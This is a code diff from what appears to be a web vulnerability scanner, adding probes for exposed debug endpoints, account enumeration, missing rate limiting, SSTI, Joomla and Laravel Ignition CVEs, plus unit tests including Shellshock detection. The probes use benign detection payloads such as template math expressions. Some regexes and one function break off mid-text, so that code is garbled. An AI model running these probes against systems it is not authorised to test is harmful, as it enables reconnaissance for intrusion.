suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17bMediumFeatures)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestOWASPFullCoverage)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index f6ce896f..22ab8d4e 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -68,6 +68,17 @@ def _web_test_common(self, target, port): "WordPress login page accessible — confirms WordPress deployment."), "/.well-known/security.txt": (Severity.INFO, "", "", "Security policy (RFC 9116) published."), + # Debug & monitoring endpoints (A09 — exposed monitoring) + "/actuator": (Severity.HIGH, "CWE-215", "A09:2021", + "Spring Boot Actuator exposed — may leak env vars, health, and beans."), + "/actuator/env": (Severity.HIGH, "CWE-215", "A09:2021", + "Spring Boot environment dump — leaks config, secrets, and database URLs."), + "/server-status": (Severity.HIGH, "CWE-215", "A09:2021", + "Apache mod_status exposed — reveals active connections and request details."), + "/server-info": (Severity.HIGH, "CWE-215", "A09:2021", + "Apache mod_info exposed — reveals server configuration."), + "/elmah.axd": (Severity.HIGH, "CWE-215", "A09:2021", + ".NET ELMAH error log viewer exposed — reveals stack traces and request data."), } try: @@ -115,16 +126,17 @@ def _web_test_homepage(self, target, port): base_url = f"{scheme}://{target}:{port}" _MARKER_META = { - "API_KEY": (Severity.CRITICAL, "API key found in page source"), - "PASSWORD": (Severity.CRITICAL, "Password string found in page source"), - "SECRET": (Severity.HIGH, "Secret string found in page source"), - "BEGIN RSA PRIVATE KEY": (Severity.CRITICAL, "RSA private key found in page source"), + # (severity, title, owasp_id) — private key is A08 (integrity), rest is A01 (access control) + "API_KEY": (Severity.CRITICAL, "API key found in page source", "A01:2021"), + "PASSWORD": (Severity.CRITICAL, "Password string found in page source", "A01:2021"), + "SECRET": (Severity.HIGH, "Secret string found in page source", "A01:2021"), + "BEGIN RSA PRIVATE KEY": (Severity.CRITICAL, "RSA private key found in page source", "A08:2021"), } try: resp_main = requests.get(base_url, timeout=3, verify=False) text = resp_main.text[:10000] - for marker, (severity, title) in _MARKER_META.items(): + for marker, (severity, title, owasp) in _MARKER_META.items(): if marker in text: findings_list.append(Finding( severity=severity, @@ -132,7 +144,7 @@ def _web_test_homepage(self, target, port): description=f"The string '{marker}' was found in the HTML source of {base_url}.", evidence=f"Marker '{marker}' present in first 10KB of response.", remediation="Remove sensitive data from client-facing HTML; use server-side environment variables.", - owasp_id="A01:2021", + owasp_id=owasp, cwe_id="CWE-540", confidence="firm", )) @@ -389,6 +401,7 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("WordPress", wp_version) + findings_list += self._wp_detect_plugins(base_url) for path, desc in self._WP_SENSITIVE_PATHS: try: resp = requests.get(base_url + path, timeout=3, verify=False) @@ -495,3 +508,260 @@ def _cms_check_eol(self, cms_name, version): confidence="certain", )) return findings + + # --- WordPress plugin detection (A06 improvement) --- + + _WP_PLUGIN_CHECKS = [ + ("elementor", "Elementor"), + ("contact-form-7", "Contact Form 7"), + ("woocommerce", "WooCommerce"), + ("yoast-seo", "Yoast SEO"), + ("wordfence", "Wordfence"), + ("wpforms-lite", "WPForms"), + ("all-in-one-seo-pack", "All in One SEO"), + ("updraftplus", "UpdraftPlus"), + ] + + def _wp_detect_plugins(self, base_url): + """Detect WordPress plugins via readme.txt version disclosure.""" + findings = [] + for slug, name in self._WP_PLUGIN_CHECKS: + try: + url = f"{base_url}/wp-content/plugins/{slug}/readme.txt" + resp = requests.get(url, timeout=3, verify=False) + if resp.status_code != 200: + continue + ver_match = _re.search(r'Stable tag:\s*([0-9.]+)', resp.text, _re.IGNORECASE) + version = ver_match.group(1) if ver_match else "unknown" + findings.append(Finding( + severity=Severity.LOW, + title=f"WordPress plugin version exposed: {name} {version}", + description=f"Plugin {name} detected via readme.txt. " + "Version disclosure aids targeted exploit search.", + evidence=f"GET {url} → Stable tag: {version}", + remediation="Block access to plugin readme.txt files.", + owasp_id="A06:2021", + cwe_id="CWE-200", + confidence="certain", + )) + except Exception: + continue + return findings + + + # ── A09:2021 — Verbose errors & debug mode detection ──────────────── + + _STACK_TRACE_MARKERS = [ + ("Traceback (most recent call last)", "Python"), + ("SQLSTATE[", "PHP PDO"), + ("Fatal error:", "PHP"), + ("Parse error:", "PHP"), + ("Exception in thread", "Java"), + ("Stack trace:", "Generic"), + ] + _DEBUG_MODE_MARKERS = [ + ("djdt", "Django Debug Toolbar"), + ("Django REST framework", "Django REST"), + ] + _PATH_LEAK_PATTERNS = [ + _re.compile(r'(/home/\w+|/var/www/|/opt/|/usr/local/|C:\\\\[Uu]sers)'), + ] + + def _web_test_verbose_errors(self, target, port): + """ + Detect verbose error pages and debug mode indicators (safe probes only). + + Requests a random non-existent path to trigger 404 handling, then checks + for stack traces, framework debug output, and filesystem path leaks. + Also probes for debug endpoints (__debug__/, actuator/env). + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. Trigger a 404 and inspect the error page --- + try: + canary = f"/nonexistent_{_uuid.uuid4().hex[:8]}" + resp = requests.get(base_url + canary, timeout=3, verify=False) + body = resp.text[:10000] + + for marker, framework in self._STACK_TRACE_MARKERS: + if marker in body: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"Verbose error page: {framework} stack trace exposed", + description=f"Error page at {canary} contains {framework} stack trace, " + "leaking internal code structure and potentially secrets.", + evidence=f"Marker '{marker}' found in 404 response.", + remediation="Configure production error handling to return generic error pages.", + owasp_id="A09:2021", + cwe_id="CWE-209", + confidence="certain", + )) + break + + for pattern in self._PATH_LEAK_PATTERNS: + match = pattern.search(body) + if match and not findings_list: + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Internal path leaked in error page", + description="Error page reveals filesystem paths.", + evidence=f"Path pattern: {match.group(0)}", + remediation="Suppress internal paths in error responses.", + owasp_id="A09:2021", + cwe_id="CWE-209", + confidence="firm", + )) + except Exception: + pass + + # --- 2. Debug mode detection on homepage --- + try: + resp = requests.get(base_url, timeout=3, verify=False) + body = resp.text[:10000] + for marker, framework in self._DEBUG_MODE_MARKERS: + if marker in body: + findings_list.append(Finding( + severity=Severity.HIGH, + title=f"Debug mode enabled: {framework}", + description=f"Debug interface detected on homepage, exposing internal " + "state, SQL queries, and configuration.", + evidence=f"Marker '{marker}' found in homepage.", + remediation=f"Disable {framework} debug mode in production.", + owasp_id="A09:2021", + cwe_id="CWE-489", + confidence="certain", + )) + break + except Exception: + pass + + # --- 3. Django __debug__/ endpoint --- + try: + resp = requests.get(base_url + "/__debug__/", timeout=3, verify=False) + if resp.status_code == 200 and "djdt" in resp.text.lower(): + findings_list.append(Finding( + severity=Severity.HIGH, + title="Debug mode enabled: Django Debug Toolbar endpoint", + description="Django Debug Toolbar is accessible at /__debug__/.", + evidence="GET /__debug__/ returned 200 with djdt content.", + remediation="Remove django-debug-toolbar from production or restrict access.", + owasp_id="A09:2021", + cwe_id="CWE-489", + confidence="certain", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── A08:2021 / A06:2021 — JS library version detection ───────────── + + _JS_LIB_PATTERNS = [ + # (filename regex, version-in-content regex, library name) + (_re.compile(r'jquery[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "jQuery"), + (None, _re.compile(r'/\*!?\s*jQuery\s+v(\d+\.\d+\.\d+)'), "jQuery"), + (None, _re.compile(r'AngularJS\s+v(\d+\.\d+\.\d+)'), "AngularJS"), + (_re.compile(r'angular[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "AngularJS"), + (None, _re.compile(r'Bootstrap\s+v(\d+\.\d+\.\d+)'), "Bootstrap"), + (None, _re.compile(r'Vue\.js\s+v(\d+\.\d+\.\d+)'), "Vue.js"), + (None, _re.compile(r'React\s+v(\d+\.\d+\.\d+)'), "React"), + (_re.compile(r'moment[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "Moment.js"), + ] + _JS_EOL_LIBRARIES = { + "AngularJS": "EOL since 2021-12-31", + "Moment.js": "Deprecated — use date-fns or Luxon", + } + + def _web_test_js_library_versions(self, target, port): + """ + Detect client-side JavaScript libraries and flag EOL/deprecated ones. + + Version detection only — emits INFO findings with version data for LLM + analysis to cross-reference against CVE databases. Only definitively EOL + libraries (AngularJS, Moment.js) get MEDIUM severity. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + raw = {"js_libraries": []} + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + try: + resp = requests.get(base_url, timeout=4, verify=False) + if resp.status_code != 200: + return probe_result(findings=findings_list) + html = resp.text + detected = {} # lib_name → version + + # Check script src URLs for version in filename + script_re = _re.compile(r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE) + for match in script_re.finditer(html): + src = match.group(1) + for filename_re, _, lib_name in self._JS_LIB_PATTERNS: + if filename_re and lib_name not in detected: + ver_match = filename_re.search(src) + if ver_match: + detected[lib_name] = ver_match.group(1) + + # Check inline script content for version comments + inline_re = _re.compile(r']*>(.*?)', _re.IGNORECASE | _re.DOTALL) + for match in inline_re.finditer(html[:50000]): + content = match.group(1) + for _, content_re, lib_name in self._JS_LIB_PATTERNS: + if content_re and lib_name not in detected: + ver_match = content_re.search(content) + if ver_match: + detected[lib_name] = ver_match.group(1) + + for lib_name, version in detected.items(): + raw["js_libraries"].append({"name": lib_name, "version": version}) + eol_note = self._JS_EOL_LIBRARIES.get(lib_name) + if eol_note: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"End-of-life JS library: {lib_name} {version}", + description=f"{lib_name} {version} is {eol_note}. " + "No security patches are available.", + evidence=f"Detected {lib_name} {version} in page source.", + remediation=f"Migrate away from {lib_name} to a supported alternative.", + owasp_id="A08:2021", + cwe_id="CWE-1104", + confidence="certain", + )) + else: + findings_list.append(Finding( + severity=Severity.INFO, + title=f"JS library detected: {lib_name} {version}", + description=f"{lib_name} {version} detected in page source.", + evidence=f"Version {version} found via script tag analysis.", + remediation="Keep client-side libraries updated.", + owasp_id="A06:2021", + cwe_id="CWE-200", + confidence="certain", + )) + + except Exception as e: + self.P(f"JS library probe failed on {base_url}: {e}", color='y') + return probe_error(target, port, "js_libs", e) + + return probe_result(raw_data=raw, findings=findings_list) diff --git a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py index 04fdb9fb..de71f85f 100644 --- a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py @@ -1,4 +1,6 @@ import re as _re +import time as _time +import secrets as _secrets import requests from urllib.parse import quote @@ -386,3 +388,336 @@ def _web_test_csrf(self, target, port): continue return probe_result(findings=findings_list) + + + # ── A04:2021 — Insecure Design probes ────────────────────────────── + + _ENUM_MESSAGE_VARIANTS = frozenset({ + "user not found", "no such user", "unknown user", "account not found", + "invalid username", "email not found", "does not exist", + }) + + def _web_test_account_enumeration(self, target, port): + """ + Detect account enumeration via login response differences. + + Compares responses for a definitely-invalid username vs plausibly-real + usernames. Differences in status code, body length, or error message + indicate the server reveals account existence. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + login_paths = ["/login", "/api/login", "/auth/login"] + fake_user = f"nonexistent_user_{_secrets.token_hex(6)}" + real_candidates = ["admin", "root", "test"] + password = "WrongPassword123!" + + for path in login_paths: + url = base_url.rstrip("/") + path + try: + resp_fake = requests.post( + url, data={"username": fake_user, "password": password}, + timeout=3, verify=False, allow_redirects=False, + ) + if resp_fake.status_code == 404: + continue + + for real_user in real_candidates: + resp_real = requests.post( + url, data={"username": real_user, "password": password}, + timeout=3, verify=False, allow_redirects=False, + ) + fake_lower = resp_fake.text.lower() + real_lower = resp_real.text.lower() + fake_has_enum = any(m in fake_lower for m in self._ENUM_MESSAGE_VARIANTS) + real_has_enum = any(m in real_lower for m in self._ENUM_MESSAGE_VARIANTS) + if fake_has_enum and not real_has_enum: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title="Account enumeration via login: different error messages", + description=f"Login at {path} returns different error messages for " + "valid vs invalid usernames, revealing account existence.", + evidence="Invalid user response mentions 'not found'; valid user response does not.", + remediation="Use generic error messages: 'Invalid credentials' for all failures.", + owasp_id="A04:2021", + cwe_id="CWE-204", + confidence="firm", + )) + return probe_result(findings=findings_list) + + # Check response length difference (>20%) + len_fake = len(resp_fake.text) + len_real = len(resp_real.text) + if len_fake > 0 and abs(len_real - len_fake) / max(len_fake, 1) > 0.2: + if resp_fake.status_code == resp_real.status_code: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title="Account enumeration via login: response size differs", + description=f"Login at {path} returns different-sized responses for " + "valid vs invalid usernames.", + evidence=f"Invalid user: {len_fake} bytes, '{real_user}': {len_real} bytes " + f"(delta {abs(len_real - len_fake)} bytes).", + remediation="Ensure login responses are identical regardless of username validity.", + owasp_id="A04:2021", + cwe_id="CWE-204", + confidence="firm", + )) + return probe_result(findings=findings_list) + except Exception: + continue + + return probe_result(findings=findings_list) + + + _CAPTCHA_KEYWORDS = frozenset({"captcha", "recaptcha", "hcaptcha", "g-recaptcha"}) + + def _web_test_rate_limiting(self, target, port): + """ + Detect missing rate limiting on authentication endpoints. + + Sends 5 login attempts with 500ms spacing and checks for 429 responses, + rate-limit headers, or CAPTCHA challenges. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + login_paths = ["/login", "/api/login", "/auth/login"] + password = "WrongPassword123!" + attempt_count = 5 + + for path in login_paths: + url = base_url.rstrip("/") + path + try: + probe_resp = requests.get(url, timeout=3, verify=False, allow_redirects=False) + if probe_resp.status_code == 404: + continue + + rate_limited = False + for i in range(attempt_count): + resp = requests.post( + url, + data={"username": f"test_user_{i}", "password": password}, + timeout=3, verify=False, allow_redirects=False, + ) + if resp.status_code == 429: + rate_limited = True + break + if resp.headers.get("Retry-After") or resp.headers.get("X-RateLimit-Remaining"): + rate_limited = True + break + body_lower = resp.text.lower() + if any(kw in body_lower for kw in self._CAPTCHA_KEYWORDS): + rate_limited = True + break + if i < attempt_count - 1: + _time.sleep(0.5) + + if not rate_limited: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"No rate limiting on login endpoint ({path})", + description=f"{attempt_count} rapid login attempts accepted without " + "429 response, rate-limit headers, or CAPTCHA challenge.", + evidence=f"POST {url} x{attempt_count} with 500ms spacing — all accepted.", + remediation="Implement rate limiting on authentication endpoints.", + owasp_id="A04:2021", + cwe_id="CWE-307", + confidence="firm", + )) + return probe_result(findings=findings_list) + except Exception: + continue + + return probe_result(findings=findings_list) + + + # ── A08:2021 — Subresource integrity & mixed content ──────────────── + + _SCRIPT_SRC_RE = _re.compile( + r']*\bsrc\s*=\s*["\']([^"\']+)["\'][^>]*>', + _re.IGNORECASE, + ) + _LINK_HREF_RE = _re.compile( + r']*\brel\s*=\s*["\']stylesheet["\'][^>]*\bhref\s*=\s*["\']([^"\']+)["\']', + _re.IGNORECASE, + ) + _INTEGRITY_RE = _re.compile(r'\bintegrity\s*=\s*["\']', _re.IGNORECASE) + _IMG_SRC_RE = _re.compile( + r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE, + ) + _IFRAME_SRC_RE = _re.compile( + r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE, + ) + + def _web_test_subresource_integrity(self, target, port): + """ + Detect external scripts/stylesheets loaded without SRI attributes. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + try: + resp = requests.get(base_url, timeout=4, verify=False) + if resp.status_code != 200: + return probe_result(findings=findings_list) + html = resp.text + + for match in self._SCRIPT_SRC_RE.finditer(html): + src = match.group(1) + if not src.startswith(("http://", "https://")) or target in src: + continue + tag_start = match.start() + tag_end = html.find(">", match.end()) + 1 + tag_html = html[tag_start:tag_end] + if self._INTEGRITY_RE.search(tag_html): + continue + findings_list.append(Finding( + severity=Severity.MEDIUM, + title="External script loaded without SRI", + description=f"Script from {src[:80]} has no integrity attribute. " + "A compromised CDN could serve malicious code.", + evidence=f'''' + else: + resp.ok = False + resp.status_code = 404 + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("1.2.3.4", 4200) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("8.5.0" in t for t in titles), f"Should extract Drupal 8.5.0 from install.php. Got: {titles}") + self.assertTrue(any("CVE-2018-7600" in t for t in titles), f"Should find Drupalgeddon2. Got: {titles}") + + # ── WordPress version from readme.html ─────────────────────────── + + def test_wordpress_version_from_readme_html(self): + """WP probe should extract version from /readme.html when /feed/ is 404.""" + _, worker = self._build_worker(ports=[4400]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "" + if url.endswith(":4400"): + resp.text = '' + elif "/wp-login.php" in url: + resp.text = 'wp-login' + elif "/feed/" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "Not Found" + elif "/wp-links-opml.php" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "Not Found" + elif "/readme.html" in url: + resp.text = '
Version 4.6\n

If you are updating from version 2.7' + elif "/xmlrpc.php" in url: + resp.status_code = 200 + elif "/wp-json/wp/v2/users" in url: + resp.status_code = 200 + else: + resp.ok = False + resp.status_code = 404 + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("1.2.3.4", 4400) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("4.6" in t for t in titles), f"Should extract WP 4.6 from readme.html. Got: {titles}") + self.assertTrue(any("CVE-2016-10033" in t for t in titles), f"Should find PHPMailer RCE. Got: {titles}") + + # ── SSTI baseline false positive prevention ────────────────────── + + def test_ssti_no_false_positive_on_baseline(self): + """SSTI probe should NOT fire when expected value already in baseline page.""" + _, worker = self._build_worker(ports=[4300]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + # Every response contains "49" naturally (e.g. page content) + resp.text = '

Contact: +1-234-567-8949

' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_ssti("1.2.3.4", 4300) + + findings = result.get("findings", []) + self.assertEqual(len(findings), 0, f"Should NOT fire when '49' already in baseline. Got: {[f['title'] for f in findings]}") + + # ── Shellshock via document root CGI paths ─────────────────────── + + def test_shellshock_via_victim_cgi(self): + """Shellshock probe should detect CVE-2014-6271 via /victim.cgi path.""" + _, worker = self._build_worker(ports=[6600]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "" + headers = kwargs.get("headers", {}) + if "/victim.cgi" in url and "REDMESH_SHELLSHOCK_DETECT" in headers.get("User-Agent", ""): + resp.text = "\nREDMESH_SHELLSHOCK_DETECT\n" + else: + resp.status_code = 404 + resp.text = "Not Found" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_shellshock("1.2.3.4", 6600) + + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect Shellshock via /victim.cgi") + self.assertIn("CVE-2014-6271", findings[0]["title"]) + + # ── Dedup bug: _service_info_http_alt ────────────────────────────── + + def test_http_alt_no_duplicate_cves(self): + """_service_info_http_alt should NOT emit CVE findings (dedup fix).""" + _, worker = self._build_worker(ports=[8080]) + + with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: + mock_inst = MagicMock() + mock_inst.recv.return_value = ( + b"HTTP/1.1 200 OK\r\n" + b"Server: Apache/2.4.25 (Debian)\r\n" + b"\r\n" + ).decode('utf-8').encode('utf-8') + mock_sock.return_value = mock_inst + result = worker._service_info_http_alt("1.2.3.4", 8080) + + findings = result.get("findings", []) + cve_findings = [f for f in findings if "CVE-" in f.get("title", "")] + self.assertEqual(len(cve_findings), 0, f"http_alt should NOT emit CVEs. Got: {[f['title'] for f in cve_findings]}") + # But server header should still be captured + self.assertEqual(result.get("server"), "Apache/2.4.25 (Debian)") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -6057,4 +6585,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestOWASPFullCoverage)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestDetectionGapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index 22ab8d4e..573480b1 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -3,6 +3,7 @@ import requests from .findings import Finding, Severity, probe_result, probe_error +from .cve_db import check_cves class _WebDiscoveryMixin: @@ -389,6 +390,23 @@ def _web_test_cms_fingerprint(self, target, port): except Exception: pass + # --- WordPress version fallback: /feed/, /wp-links-opml.php, /readme.html --- + if wp_version == "unknown": + for _wp_path, _wp_re in [ + ("/feed/", r'https?://wordpress\.org/\?v=([0-9.]+)'), + ("/wp-links-opml.php", r'generator="WordPress/([0-9.]+)"'), + ("/readme.html", r'Version\s+([0-9.]+)'), + ]: + try: + resp = requests.get(base_url + _wp_path, timeout=3, verify=False) + if resp.ok: + _wp_m = _re.search(_wp_re, resp.text, _re.IGNORECASE) + if _wp_m: + wp_version = _wp_m.group(1) + break + except Exception: + pass + if wp_version: raw["cms"] = "WordPress" raw["version"] = wp_version @@ -401,6 +419,8 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("WordPress", wp_version) + if wp_version != "unknown": + findings_list += check_cves("wordpress", wp_version) findings_list += self._wp_detect_plugins(base_url) for path, desc in self._WP_SENSITIVE_PATHS: try: @@ -442,6 +462,24 @@ def _web_test_cms_fingerprint(self, target, port): except Exception: pass + # --- Drupal version fallback: install.php, JS query strings --- + _DRUPAL_VERSION_SOURCES = [ + ("/core/modules/system/system.info.yml", r"version:\s*'?([0-9]+\.[0-9]+\.[0-9]+)"), + ("/core/install.php", r'site-version[^>]*>([0-9]+\.[0-9]+\.[0-9]+)'), + ("/core/install.php", r'drupal\.js\?v=([0-9]+\.[0-9]+\.[0-9]+)'), + ] + if drupal_version and (drupal_version == "unknown" or _re.match(r'^\d+$', drupal_version)): + for _dp_path, _dp_re in _DRUPAL_VERSION_SOURCES: + try: + resp = requests.get(base_url + _dp_path, timeout=3, verify=False) + if resp.ok: + _dp_m = _re.search(_dp_re, resp.text) + if _dp_m: + drupal_version = _dp_m.group(1) + break + except Exception: + pass + if drupal_version: raw["cms"] = "Drupal" raw["version"] = drupal_version @@ -454,6 +492,8 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("Drupal", drupal_version) + if drupal_version != "unknown" and not _re.match(r'^\d+$', drupal_version): + findings_list += check_cves("drupal", drupal_version) return probe_result(raw_data=raw, findings=findings_list) # --- Joomla detection --- @@ -485,6 +525,102 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("Joomla", joomla_version) + if joomla_version != "unknown": + findings_list += check_cves("joomla", joomla_version) + # CVE-2023-23752: Unauthenticated config disclosure via REST API + try: + resp = requests.get( + base_url + "/api/index.php/v1/config/application?public=true", + timeout=3, verify=False, + ) + if resp.ok and ("password" in resp.text.lower() or '"db"' in resp.text.lower() or '"dbtype"' in resp.text.lower()): + findings_list.append(Finding( + severity=Severity.HIGH, + title="CVE-2023-23752: Joomla unauthenticated config disclosure", + description="Joomla REST API exposes application configuration " + "including database credentials without authentication.", + evidence=f"GET {base_url}/api/index.php/v1/config/application?public=true → 200", + remediation="Upgrade Joomla to >= 4.2.8.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except Exception: + pass + return probe_result(raw_data=raw, findings=findings_list) + + # --- Laravel / Ignition detection --- + laravel_detected = False + ignition_detected = False + + # Check /_ignition/health-check + try: + resp = requests.get(base_url + "/_ignition/health-check", timeout=3, verify=False) + if resp.ok and ("can_execute_commands" in resp.text or "ok" in resp.text.lower()): + ignition_detected = True + laravel_detected = True + findings_list.append(Finding( + severity=Severity.HIGH, + title="Laravel Ignition debug endpoint exposed", + description="/_ignition/health-check is accessible, indicating Laravel's " + "debug error handler is enabled in production.", + evidence=f"GET {base_url}/_ignition/health-check → {resp.status_code}", + remediation="Set APP_DEBUG=false in production; remove Ignition package.", + owasp_id="A05:2021", + cwe_id="CWE-489", + confidence="certain", + )) + except Exception: + pass + + # Check for Laravel indicators in error pages + if not laravel_detected: + try: + resp = requests.get( + base_url + "/nonexistent_" + _uuid.uuid4().hex[:8], + timeout=3, verify=False, + ) + body = resp.text[:10000].lower() + if "laravel" in body or "illuminate" in body: + laravel_detected = True + except Exception: + pass + + if ignition_detected: + # CVE-2021-3129: check execute-solution endpoint + try: + resp = requests.post( + base_url + "/_ignition/execute-solution", + json={"solution": "test", "parameters": {}}, + timeout=3, verify=False, + ) + if resp.status_code != 404: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2021-3129: Laravel Ignition RCE endpoint accessible", + description="/_ignition/execute-solution accepts POST requests. " + "With Ignition < 2.5.2, this enables unauthenticated RCE " + "via file_put_contents abuse.", + evidence=f"POST {base_url}/_ignition/execute-solution → {resp.status_code}", + remediation="Upgrade Ignition to >= 2.5.2; set APP_DEBUG=false.", + owasp_id="A06:2021", + cwe_id="CWE-94", + confidence="firm", + )) + except Exception: + pass + + if laravel_detected: + raw["cms"] = "Laravel" + raw["version"] = "unknown" + findings_list.append(Finding( + severity=Severity.LOW, + title="Laravel framework detected", + description=f"Laravel framework identified on {target}:{port}.", + evidence="Detection via Ignition endpoint or error page markers.", + remediation="Keep Laravel and dependencies updated.", + confidence="certain", + )) return probe_result(raw_data=raw, findings=findings_list) diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index e5102393..a0efd861 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -337,6 +337,280 @@ def _sqli_error_finding(param, payload, resp, url): return probe_result(findings=findings_list) + # ── SSTI (Server-Side Template Injection) ──────────────────────────── + + def _web_test_ssti(self, target, port): + """ + Probe for Server-Side Template Injection via safe math expressions. + + Tests ``{{7*7}}`` (Jinja2/Twig), ``{{7*'7'}}`` (Jinja2 string mult), + ``${7*7}`` (Freemarker/Mako) across common parameter names and URL path. + Detection: response contains the *evaluated* result but NOT the raw payload + (which would indicate XSS reflection, not template evaluation). + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + ssti_payloads = [ + ("{{7*7}}", "49", "Jinja2/Twig"), + ("{{7*'7'}}", "7777777", "Jinja2"), + ("${7*7}", "49", "Freemarker/Mako"), + ("<%= 7*7 %>", "49", "ERB/EJS"), + ] + params = ["name", "q", "search", "input", "text", "template", "page", "id"] + + # Baseline: fetch the page without payloads to filter false positives + # (e.g. "49" naturally appears in many pages) + baseline_text = "" + try: + baseline_resp = requests.get(base_url, timeout=3, verify=False) + baseline_text = baseline_resp.text + except Exception: + pass + + # --- 1. Query parameter injection --- + for param in params: + if len(findings_list) >= 2: + break + for payload, expected, engine in ssti_payloads: + # Skip if expected result already exists in baseline page + if expected in baseline_text: + continue + try: + url = f"{base_url}?{param}={quote(payload)}" + resp = requests.get(url, timeout=3, verify=False) + if expected in resp.text and payload not in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"SSTI ({engine}) via ?{param}= parameter", + description=f"Template expression '{payload}' was evaluated server-side " + f"to '{expected}', confirming {engine} SSTI. " + "This leads to Remote Code Execution.", + evidence=f"URL: {url}, response contains '{expected}' but not raw payload", + remediation="Never pass user input directly into template rendering. " + "Use sandboxed template environments.", + owasp_id="A03:2021", + cwe_id="CWE-1336", + confidence="certain", + )) + break + except Exception: + pass + + # --- 2. Path-based injection --- + if not findings_list: + for payload, expected, engine in ssti_payloads[:2]: + if expected in baseline_text: + continue + try: + url = base_url.rstrip("/") + "/" + quote(payload) + resp = requests.get(url, timeout=3, verify=False) + if expected in resp.text and payload not in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"SSTI ({engine}) via URL path", + 